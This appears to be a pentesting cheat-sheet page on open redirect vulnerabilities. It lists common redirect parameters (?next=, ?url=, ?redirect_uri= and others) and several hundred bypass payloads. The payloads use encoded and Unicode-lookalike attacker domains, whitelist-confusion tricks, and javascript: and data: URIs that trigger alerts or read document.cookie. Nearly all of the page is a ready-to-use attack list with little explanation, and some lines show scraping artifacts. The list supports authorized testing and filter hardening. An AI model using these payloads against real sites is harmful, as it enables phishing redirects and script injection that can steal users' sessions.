pwny.cc
Search…
Open Redirect

Common Bypasses

1
#Using Base64 - urlencode(base64(//google.com\@whitelisteddomain.tld))
2
Ly9nb29nbGUuY29tXEB3aGl0ZWxpc3RlZGRvbWFpbi50bGQ%3D
Copied!

Common Injection Points

Add your payload at the end of the line.
1
/
2
?next=
3
?url=
4
?target=
5
?rurl=
6
?dest=
7
?destination=
8
?redir=
9
?redirect_uri=
10
?redirect_url=
11
?redirect=
12
/redirect/
13
/cgi-bin/redirect.cgi?
14
/out/
15
/out?
16
?view=
17
/login?to=
18
?image_url=
19
?go=
20
?return=
21
?returnTo=
22
?return_to=
23
?checkout_url=
24
?continue=
25
?return_path=
Copied!

Payloads

Change whitelisteddomain with an specific white listed domain of your case. Ex: www.web.com
1
//localdomain.pw/%2f..
3
///localdomain.pw/%2f..
5
////localdomain.pw/%2f..
7
https://localdomain.pw/%2f..
8
https://[email protected]/%2f..
9
/https://localdomain.pw/%2f..
10
/https://[email protected]/%2f..
11
//localdomain.pw/%2f%2e%2e
12
//[email protected]/%2f%2e%2e
13
///localdomain.pw/%2f%2e%2e
14
///[email protected]/%2f%2e%2e
15
////localdomain.pw/%2f%2e%2e
16
////[email protected]/%2f%2e%2e
17
https://localdomain.pw/%2f%2e%2e
18
https://[email protected]/%2f%2e%2e
19
/https://localdomain.pw/%2f%2e%2e
20
/https://[email protected]/%2f%2e%2e
21
//localdomain.pw/
23
///localdomain.pw/
25
////localdomain.pw/
27
https://localdomain.pw/
29
/https://localdomain.pw/
30
31
//localdomain.pw//
33
///localdomain.pw//
35
////localdomain.pw//
37
https://localdomain.pw//
38
39
//https://localdomain.pw//
40
//https://[email protected]//
41
//localdomain.pw/%2e%2e%2f
42
//[email protected]/%2e%2e%2f
43
///localdomain.pw/%2e%2e%2f
44
///[email protected]/%2e%2e%2f
45
////localdomain.pw/%2e%2e%2f
46
////[email protected]/%2e%2e%2f
47
https://localdomain.pw/%2e%2e%2f
48
https://[email protected]/%2e%2e%2f
49
//https://localdomain.pw/%2e%2e%2f
50
//https://[email protected]/%2e%2e%2f
51
///localdomain.pw/%2e%2e
52
53
////localdomain.pw/%2e%2e
54
55
https:///localdomain.pw/%2e%2e
56
https:///[email protected]/%2e%2e
57
//https:///localdomain.pw/%2e%2e
58
//[email protected]:///localdomain.pw/%2e%2e
59
/https://localdomain.pw/%2e%2e
60
/https://[email protected]/%2e%2e
61
///localdomain.pw/%2f%2e%2e
62
///[email protected]/%2f%2e%2e
63
////localdomain.pw/%2f%2e%2e
64
////[email protected]/%2f%2e%2e
65
https:///localdomain.pw/%2f%2e%2e
66
https:///[email protected]/%2f%2e%2e
67
/https://localdomain.pw/%2f%2e%2e
68
/https://[email protected]/%2f%2e%2e
69
/https:///localdomain.pw/%2f%2e%2e
70
/https:///[email protected]/%2f%2e%2e
71
/%09/localdomain.pw
73
//%09/localdomain.pw
75
///%09/localdomain.pw
77
////%09/localdomain.pw
79
https://%09/localdomain.pw
80
https://%09/[email protected]
81
/%5clocaldomain.pw
83
//%5clocaldomain.pw
85
///%5clocaldomain.pw
87
////%5clocaldomain.pw
89
https://%5clocaldomain.pw
91
/https://%5clocaldomain.pw
92
93
https://localdomain.pw
95
javascript:alert(1);
96
javascript:alert(1)
97
//javascript:alert(1);
98
/javascript:alert(1);
99
//javascript:alert(1)
100
/javascript:alert(1)
101
javascript:%0aalert`1`
102
/%5cjavascript:alert(1);
103
/%5cjavascript:alert(1)
104
//%5cjavascript:alert(1);
105
//%5cjavascript:alert(1)
106
/%09/javascript:alert(1);
107
/%09/javascript:alert(1)
108
java%0d%0ascript%0d%0a:alert(0)
109
//localdomain.pw
110
http:localdomain.pw
111
https:localdomain.pw
112
//localdomain%E3%80%82pw
113
\/\/localdomain.pw/
114
/\/localdomain.pw/
115
/%2f%5c%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77/
116
//\/localdomain.pw/
117
//localdomain%00.pw
118
https://www.whitelisteddomain.tld/https://localdomain.pw/
119
";alert(0);//
120
javascript://www.whitelisteddomain.tld?%a0alert%281%29
121
http://0xd8.0x3a.0xd6.0xce
124
http://XY>.7d8T\[email protected]
125
http://0xd83ad6ce
128
http://XY>.7d8T\[email protected]
129
http://3627734734
132
http://XY>.7d8T\[email protected]
133
http://472.314.470.462
136
http://XY>.7d8T\[email protected]
137
http://0330.072.0326.0316
140
http://XY>.7d8T\[email protected]
141
http://00330.00072.0000326.00000316
144
http://XY>.7d8T\[email protected]
145
http://[::216.58.214.206]
146
http://[email protected][::216.58.214.206]
147
http://[email protected][::216.58.214.206]
148
http://XY>.7d8T\[email protected][::216.58.214.206]
149
http://[::ffff:216.58.214.206]
150
http://[email protected][::ffff:216.58.214.206]
151
http://[email protected][::ffff:216.58.214.206]
152
http://XY>.7d8T\[email protected][::ffff:216.58.214.206]
153
http://0xd8.072.54990
156
http://XY>.7d8T\[email protected]
157
http://0xd8.3856078
160
http://XY>.7d8T\[email protected]
161
http://00330.3856078
164
http://XY>.7d8T\[email protected]
165
http://00330.0x3a.54990
168
http://XY>.7d8T\[email protected]
169
http:0xd8.0x3a.0xd6.0xce
172
http:XY>.7d8T\[email protected]
173
http:0xd83ad6ce
176
http:XY>.7d8T\[email protected]
177
http:3627734734
180
http:XY>.7d8T\[email protected]
181
http:472.314.470.462
184
http:XY>.7d8T\[email protected]
185
http:0330.072.0326.0316
188
http:XY>.7d8T\[email protected]
189
http:00330.00072.0000326.00000316
192
http:XY>.7d8T\[email protected]
193
http:[::216.58.214.206]
194
http:[email protected][::216.58.214.206]
195
http:[email protected][::216.58.214.206]
196
http:XY>.7d8T\[email protected][::216.58.214.206]
197
http:[::ffff:216.58.214.206]
198
http:[email protected][::ffff:216.58.214.206]
199
http:[email protected][::ffff:216.58.214.206]
200
http:XY>.7d8T\[email protected][::ffff:216.58.214.206]
201
http:0xd8.072.54990
204
http:XY>.7d8T\[email protected]
205
http:0xd8.3856078
208
http:XY>.7d8T\[email protected]
209
http:00330.3856078
212
http:XY>.7d8T\[email protected]
213
http:00330.0x3a.54990
216
http:XY>.7d8T\[email protected]
217
〱localdomain.pw
218
〵localdomain.pw
219
ゝlocaldomain.pw
220
ーlocaldomain.pw
221
ーlocaldomain.pw
222
/〱localdomain.pw
223
/〵localdomain.pw
224
/ゝlocaldomain.pw
225
/ーlocaldomain.pw
226
/ーlocaldomain.pw
227
%68%74%74%70%73%3a%2f%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77
228
https://%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77
229
<>javascript:alert(1);
230
<>//localdomain.pw
231
//localdomain.pw\@www.whitelisteddomain.tld
232
https://:@localdomain.pw\@www.whitelisteddomain.tld
233
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
234
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
235
ja\nva\tscript\r:alert(1)
236
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
237
\152\141\166\141\163\143\162\151\160\164\072alert(1)
238
http://localdomain.pw:80#@www.whitelisteddomain.tld/
239
http://localdomain.pw:[email protected]/
241
http://[email protected]⁺@localdomain.pw/
243
http://XY>.7d8T\[email protected]⁺@localdomain.pw/
244
http://[email protected]@localdomain.pw/
245
http://XY>.7d8T\[email protected]@localdomain.pw/
246
http://www.whitelisteddomain.tld+&@localdomain.pw#[email protected]/
247
http://www.whitelisteddomain.tld⁺&@localdomain.pw#⁺@www.whitelisteddomain.tld/
248
http://localdomain.pw\twww.whitelisteddomain.tld/
249
//localdomain.pw:80#@www.whitelisteddomain.tld/
250
//localdomain.pw:[email protected]/
252
//[email protected]⁺@localdomain.pw/
254
//XY>.7d8T\[email protected]⁺@localdomain.pw/
255
//[email protected]@localdomain.pw/
256
//XY>.7d8T\[email protected]@localdomain.pw/
257
//www.whitelisteddomain.tld+&@localdomain.pw#[email protected]/
258
//www.whitelisteddomain.tld⁺&@localdomain.pw#⁺@www.whitelisteddomain.tld/
259
//localdomain.pw\twww.whitelisteddomain.tld/
260
//;@localdomain.pw
261
//﹔@localdomain.pw
262
http://;@localdomain.pw
263
http://﹔@localdomain.pw
264
@localdomain.pw
265
javascript://https://www.whitelisteddomain.tld/?z=%0Aalert(1)
266
data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=
267
http://localdomain.pw%2f%2f.www.whitelisteddomain.tld/
268
http://localdomain.pw%5c%5c.www.whitelisteddomain.tld/
269
http://localdomain.pw%3F.www.whitelisteddomain.tld/
270
http://localdomain.pw%23.www.whitelisteddomain.tld/
271
http://www.whitelisteddomain.tld:80%40localdomain.pw/
272
http://www.whitelisteddomain.tld%2elocaldomain.pw/
273
/x:1/:///%01javascript:alert(document.cookie)/
274
/https:/%5clocaldomain.pw/
275
https:/%5clocaldomain.pw/
276
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
277
javascripT://www.whitelisteddomain.tld/%250d%250aalert(document.cookie)
278
/http://localdomain.pw
279
/%2f%2flocaldomain.pw
280
//%2f%2flocaldomain.pw
281
/localdomain.pw/%2f%2e%2e
282
/http:/localdomain.pw
283
http:/localdomain.pw
284
/.localdomain.pw
285
http://.localdomain.pw
286
.localdomain.pw
287
///\;@localdomain.pw
288
///\﹔@localdomain.pw
289
///localdomain.pw
290
/////localdomain.pw/
291
/////localdomain.pw
292
ja&Tab;vascript:alert(1)
293
ja&NewLine;vascript:alert(1)
294
ja&#x0000A;vascript:alert(1)
295
java&#x73;cript:alert()
296
javascript&colon;alert()
297
javascript&#x0003A;alert()
298
javascript&#58;alert(1)
299
javascript&#x3A;alert()
300
javascript:alert&lpar;&rpar;
301
javascript:al&#x65;rt``
302
javascript:alert%60%60
303
javascript:x='%27-alert(1)-%27';
304
javascript:%61%6c%65%72%74%28%29
305
javascript:a\u006Cert``"
306
javascript:\u0061\u006C\u0065\u0072\u0074``
307
java%0ascript:alert(1)
308
%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(1)
309
java%09script:alert(1)
310
java%0dscript:alert(1)
311
javascript://%0aalert(1)
312
javascript://%0aalert`1`
313
Javas%26%2399;ript:alert(1)
314
data:www.whitelisteddomain.tld;text/html;charset=UTF-8,<html><script>document.write(document.domain);</script><iframe/src=xxxxx>aaaa</iframe></html>
315
jaVAscript://www.whitelisteddomain.tld//%0d%0aalert(1);//
316
http://www.localdomain.pw\.www.whitelisteddomain.tld
317
%19Jav%09asc%09ript:https%20://www.whitelisteddomain.tld/%250Aconfirm%25281%2529
318
%01https://localdomain.pw
319
www.whitelisteddomain.tld;@localdomain.pw
320
www.whitelisteddomain.tld﹔@localdomain.pw
321
https://www.whitelisteddomain.tld;@localdomain.pw
322
https://www.whitelisteddomain.tld﹔@localdomain.pw
323
http:%0a%0dlocaldomain.pw
324
https://%0a%0dlocaldomain.pw
325
localdomain.pw/www.whitelisteddomain.tld
326
https://localdomain.pw/www.whitelisteddomain.tld
327
//localdomain.pw/www.whitelisteddomain.tld
328
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f..
329
//[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f..
330
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f..
331
///[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f..
332
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f..
333
////[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f..
334
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f..
335
https://[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f..
336
/https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f..
337
/https://[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f..
338
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
339
//[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
340
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
341
///[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
342
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
343
////[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
344
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
345
https://[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
346
/https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
347
/https://[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
348
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
349
//[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
350
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
351
///[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
352
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
353
////[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
354
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
355
https://[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
356
/https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
357
/https://[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
358
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ//
359
//[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ//
360
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ//
361
///[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ//
362
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ//
363
////[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ//
364
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ//
365
https://[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ//
366
//https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ//
367
//https://[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ//
368
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e%2f
369
//[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e%2f
370
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e%2f
371
///[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e%2f
372
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e%2f
373
////[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e%2f
374
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e%2f
375
https://[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e%2f
376
//https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e%2f
377
//https://[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e%2f
378
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e
379
///[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e
380
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e
381
////[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e
382
https:///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e
383
https:///[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e
384
//https:///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e
385
//[email protected]:///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e
386
/https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e
387
/https://[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2e%2e
388
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
389
///[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
390
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
391
////[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
392
https:///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
393
https:///[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
394
/https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
395
/https://[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
396
/https:///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
397
/https:///[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
398
/%09/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
399
/%09/[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
400
//%09/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
401
//%09/[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
402
///%09/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
403
///%09/[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
404
////%09/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
405
////%09/[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
406
https://%09/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
407
https://%09/[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
408
/%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
409
/%[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
410
//%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
411
//%[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
412
///%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
413
///%[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
414
////%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
415
////%[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
416
https://%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
417
https://%[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
418
/https://%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
419
/https://%[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
420
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
421
https://[email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
422
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
423
http:Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
424
https:Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
425
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ%E3%80%82pw
426
\/\/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
427
/\/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
428
//\/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
429
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ%00。Pⓦ
430
https://www.whitelisteddomain.tld/https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
431
〱Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
432
〵Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
433
ゝⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
434
ーⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
435
ーⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
436
/〱Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
437
/〵Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
438
/ゝⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
439
/ーⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
440
/ーⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
441
<>//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
442
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ\@www.whitelisteddomain.tld
443
https://:@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ\@www.whitelisteddomain.tld
444
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ:80#@www.whitelisteddomain.tld/
445
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ:[email protected]/
446
http://[email protected][email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
447
http://[email protected]⁺@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
448
http://XY>.7d8T\[email protected][email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
449
http://XY>.7d8T\[email protected]⁺@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
450
http://[email protected]@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
451
http://XY>.7d8T\[email protected]@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
452
http://www.whitelisteddomain.tld+&@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ#[email protected]/
453
http://www.whitelisteddomain.tld⁺&@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ#⁺@www.whitelisteddomain.tld/
454
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ\twww.whitelisteddomain.tld/
455
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ:80#@www.whitelisteddomain.tld/
456
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ:[email protected]/
457
//[email protected][email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
458
//[email protected]⁺@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
459
//XY>.7d8T\[email protected][email protected]Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
460
//XY>.7d8T\[email protected]⁺@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
461
//[email protected]@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
462
//XY>.7d8T\[email protected]@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
463
//www.whitelisteddomain.tld+&@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ#[email protected]/
464
//www.whitelisteddomain.tld⁺&@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ#⁺@www.whitelisteddomain.tld/
465
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ\twww.whitelisteddomain.tld/
466
//;@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
467
//﹔@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
468
http://;@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
469
http://﹔@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
470
@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
471
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ%2f%2f.www.whitelisteddomain.tld/
472
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ%5c%5c.www.whitelisteddomain.tld/
473
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ%3F.www.whitelisteddomain.tld/
474
http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ%23.www.whitelisteddomain.tld/
475
http://www.whitelisteddomain.tld:80%40Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
476
